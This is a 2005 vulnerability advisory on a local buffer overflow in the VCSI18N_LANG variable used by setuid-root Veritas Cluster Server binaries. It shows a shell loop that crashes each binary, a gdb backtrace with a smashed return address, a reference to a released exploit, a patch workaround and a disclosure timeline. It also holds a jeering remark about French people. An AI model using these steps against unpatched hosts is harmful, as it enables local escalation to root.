DMA[2005-1112a] - 'Veritas Storage Foundation VCSI18N_LANG buffer overflow' Author: Kevin Finisterre Vendor: http://www.Veritas.com Product: 'Veritas Cluster Server for UNIX' References: http://www.digitalmunition.com/DMA[2005-1112a].txt http://www.symantec.com/avcenter/security/Content/2005.11.08a.html Description: Veritas Cluster Server is the industry's leading open systems clustering solution. It is ideal for reducing planned and unplanned downtime, facilitating server consolidation, and effectively managing a wide range of applications in heterogeneous environments. With support for up to 32 node clusters, Veritas Cluster Server features the power and flexibility to protect everything from a single critical database instance, to the largest, globally dispersed, multi-application clusters. A buffer overflow has been identified in the VCSI18N_LANG environment variable which is used by a number of setuid root applications in Storage Foundation. The following matrix of vulnerable products has been identified by Smantec VCS Solaris AIX HP-UX RedHat Linux SuSE Linux ESX 3.5 3.5P5+ 3.5P2+ 3.5Update3+ 2.2MP2+ 2.2MP2 2.2MP2 4.0 4.0MP2+ 4.0MP2+ N/A 4.0MP2+ N/A N/A The below information was tested on VERITAS Storage Foundation 4.0 for Red Hat Enterprise Linux which includes the Veritas Cluster Server. Exploitation of this issue is quite trivial in nature. kfinisterre01:/opt/VRTSvcs/bin$ for each in `find . -perm -4000` >> do >> echo $each >> $each a >> done ./haagent Segmentation fault ./haalert Segmentation fault ./haattr Segmentation fault ./hacli Segmentation fault ./hacli_runcmd ./haclus Segmentation fault ./haconf Segmentation fault ./hadebug Segmentation fault ./hagrp Segmentation fault ./hahb Segmentation fault ./halog Segmentation fault ./hareg Segmentation fault ./hares Segmentation fault ./hastatus Segmentation fault ./hasys Segmentation fault ./hatype Segmentation fault ./hauser Segmentation fault ./tststew Segmentation fault kfinisterre01:/opt/VRTSvcs/bin# gdb ./hahb (gdb) r Starting program: /opt/VRTSvcs/bin/hahb [Thread debugging using libthread_db enabled] [New Thread -1211486080 (LWP 26902)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211486080 (LWP 26902)] 0xb7ccea00 in getenv () from /lib/tls/libc.so.6 (gdb) bt #0 0xb7ccea00 in getenv () from /lib/tls/libc.so.6 #1 0xb7cc2b57 in __gconv_get_cache () from /lib/tls/libc.so.6 #2 0xb7cbc4aa in __gconv_get_alias_db () from /lib/tls/libc.so.6 #3 0xb7ec70d2 in pthread_once () from /lib/tls/libpthread.so.0 #4 0xb7cbb516 in __gconv_get_alias_db () from /lib/tls/libc.so.6 #5 0xb7cba7d9 in iconv_close () from /lib/tls/libc.so.6 #6 0xb7cba3e5 in iconv_open () from /lib/tls/libc.so.6 #7 0x0807e89b in i18n_conv_open (lang=0xbf830860 'A' <repeats 48 times>, "`\b\2||FR-SIRT||SUCKS||03¿AAAAÐ\203\n\b\005", codeset=0x0, cdp=0x80a83d8, conv_neededp=0x80a83d0) at unix/i18n_convert.c:56 #8 0x0807d85e in i18nOpen (i18nhp=0x41414141, pathp=0x41414141 <Address 0x41414141 out of bounds>, modulep=0x41414141 <Address 0x41414141 out of bounds>, langp=0x41414141 <Address 0x41414141 out of bounds>) at common/i18n.c:647 #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () #12 0x41414141 in ?? () #13 0x41414141 in ?? () #14 0x41414141 in ?? () #15 0x41414141 in ?? () #16 0x41414141 in ?? () #17 0x41414141 in ?? () #18 0x41414141 in ?? () #19 0x41414141 in ?? () #20 0x41414141 in ?? () #21 0x41414141 in ?? () An exploit has been released at both digitalmunition.com and milw0rm.com in the form of SF_multi.pl. It was tested against Q14438H.sf.4.0.00.0.rhel3_i686.tar.gz . Make sure you don't get your sploits from some Frenchie at FR-SIRT go to milw0rm instead. http://superfrenchie.com/wp-images/posts-imgs/subway_france2.jpg Workaround: chmod -s the binaries or install the patch. http://www.symantec.com/avcenter/security/SymantecAdvisories.html Timeline associated with this bug: 08/19/2005 Initial exploitation 08/25/2005 passed on to Symantec 08/31/2005 Symantec - problem present accross a number platforms and versions 09/13/2005 Symantec - list of affected products identified 09/23/2005 Symantec - more brief updates on timeline for the fixes 10/05/2005 Symantec - more timeline updates 10/14/2005 Symantec - timeline update 11/07/2005 Symantec - passed draft advisory to me 11/08/2005 Symantec - post of advisory -KF
Attachment:
SF_multi.pl
Description: Perl program
